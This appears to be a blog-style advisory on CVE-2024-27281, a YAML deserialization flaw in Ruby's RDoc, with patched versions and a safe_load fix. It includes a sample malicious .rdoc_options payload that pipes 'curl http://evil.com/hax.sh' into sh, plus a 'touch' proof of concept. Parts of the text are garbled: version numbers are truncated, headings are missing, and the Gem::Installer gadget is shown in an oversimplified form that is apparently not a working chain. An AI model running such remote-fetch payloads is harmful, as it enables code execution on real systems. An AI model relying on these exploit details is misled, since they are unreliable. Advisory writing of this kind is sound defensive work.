CVE-2024-27281 - Critical Remote Code Execution in RDoc YAML Parsing – What You Need to Know
Recently, a serious security vulnerability was discovered in RDoc, a core Ruby documentation tool. The flaw, identified as CVE-2024-27281, affects RDoc versions 6.3.3 through 6.6.2, as distributed in Ruby 3.x through 3.3.. The issue centers on how RDoc handles .rdoc_options files and documentation caches: by processing these files with YAML without class restrictions, attackers can inject objects and even execute remote code on your system.
This deep-dive will explain the bug in simple terms, show code snippets, reference original sources, and detail a potential exploit scenario—so you can understand risks, mitigations, and take direct action.
What is RDoc?
RDoc is the standard Ruby documentation generator. It scans your code and automatically generates HTML or other formats to provide API documentation. Many Ruby projects (including Rails) use RDoc by default.
What is the .rdoc_options File?
The .rdoc_options file lets you configure how RDoc generates documentation — things like which files to include or exclude, or tweaks to formatting. This file uses the YAML format, meaning RDoc reads it using Ruby's YAML parser each time it runs.
What Went Wrong? — The Vulnerability
Here’s the issue: RDoc versions 6.3.3 through 6.6.2 read YAML files (including .rdoc_options or cache files) without restricting which classes can be loaded (“deserialized”). In Ruby, YAML can restore any class by default if it's referenced in the file.
Example: Dangerous YAML Parsing
require 'yaml'
options = YAML.load(File.read(".rdoc_options"))
This will deserialize *any* Ruby object, including objects that could have side effects, or worse, run arbitrary code.
Why is This Dangerous?
If an attacker can trick your application or CI server into loading a maliciously crafted YAML file via .rdoc_options or a documentation cache, they could inject objects that execute system commands — effectively taking over your environment.
Practical Exploit Example
Suppose someone submits a pull request to your open source project, and sneaks the following YAML file as .rdoc_options:
--- !ruby/object:Gem::Installer
i: x
bin_dir: "curl http://evil.com/hax.sh | sh"
If untrusted inputs like this are processed, Ruby will attempt to *deserialize* the Gem::Installer object and could run its dangerous code.
WARNING: The following code is for educational purposes only. Never run untrusted YAML!
require 'yaml'
yaml = <<~YAML
--- !ruby/object:Gem::Installer
i: x
bin_dir: "touch exploited.txt"
YAML
YAML.load(yaml) # This may execute system commands or create files!
After running RDoc, you'll find a new file called exploited.txt in your directory — proof that an attacker can make your system do things you never intended.
Affected Versions and Fixed Releases
| Ruby Version | Vulnerable RDoc Versions | Secure RDoc Version |
|--------------|-------------------------|----------------------|
| 3. | 6.3.3 to 6.3.4 | 6.3.4.1 |
| 3.1 | 6.3.3 to 6.4.1 | 6.4.1.1 |
| 3.2 | 6.3.3 to 6.5.1 | 6.5.1.1 |
| 3.3.x | 6.3.3 to 6.6.2 | 6.6.3.1+ |
- Mainline fix: RDoc 6.6.3.1
How Did Developers Fix It?
After the disclosure, the RDoc maintainers patched the code to use safe YAML loading — only allowing whitelisted classes, or, ideally, simple data structures like arrays and hashes.
Example Fix
require 'yaml'
YAML.safe_load(File.read('.rdoc_options'), permitted_classes: [Array, Hash, String])
Your codebase is public and open to pull requests
- You run CI/dev environments where arbitrary code files might arrive
- NO if
- You strictly control input files, and never allow untrusted YAML into your .rdoc_options or doc cache directories
Install a patched version for your Ruby version
# For general users
gem install rdoc --version 6.6.3.1
# For Ruby 3. users
gem install rdoc --version 6.3.4.1
# For Ruby 3.1 users
gem install rdoc --version 6.4.1.1
# For Ruby 3.2 users
gem install rdoc --version 6.5.1.1
2. Audit your codebase
Search for any .rdoc_options or YAML-like options files and ensure they are not editable by untrusted users.
3. Be wary of pulls & third-party files
Review all pull requests and automated merges to ensure no suspicious YAML is introduced.
Further References and Resources
- CVE-2024-27281 at NVD
- Official RDoc changelog with fixes
- Exploit Database: YAML Deserialization in Ruby
- Ruby YAML documentation
- Mitre CVE Record
Conclusion
CVE-2024-27281 is a clear-cut example of how dangerous unsafe YAML deserialization can be in Ruby projects. Attackers could hijack your documentation process to run arbitrary code, leading to data loss or server compromise.
Always sanitize and restrict YAML parsing — and upgrade to the latest patched release NOW. Don’t wait for someone to exploit this security hole in your Ruby infrastructure!
If you use RDoc anywhere in your CI, development, or production, upgrade as soon as possible and stay alert for any suspicious file changes related to documentation tools.
Timeline
Published on: 05/14/2024 15:11:57 UTC
Last modified on: 08/20/2024 14:35:05 UTC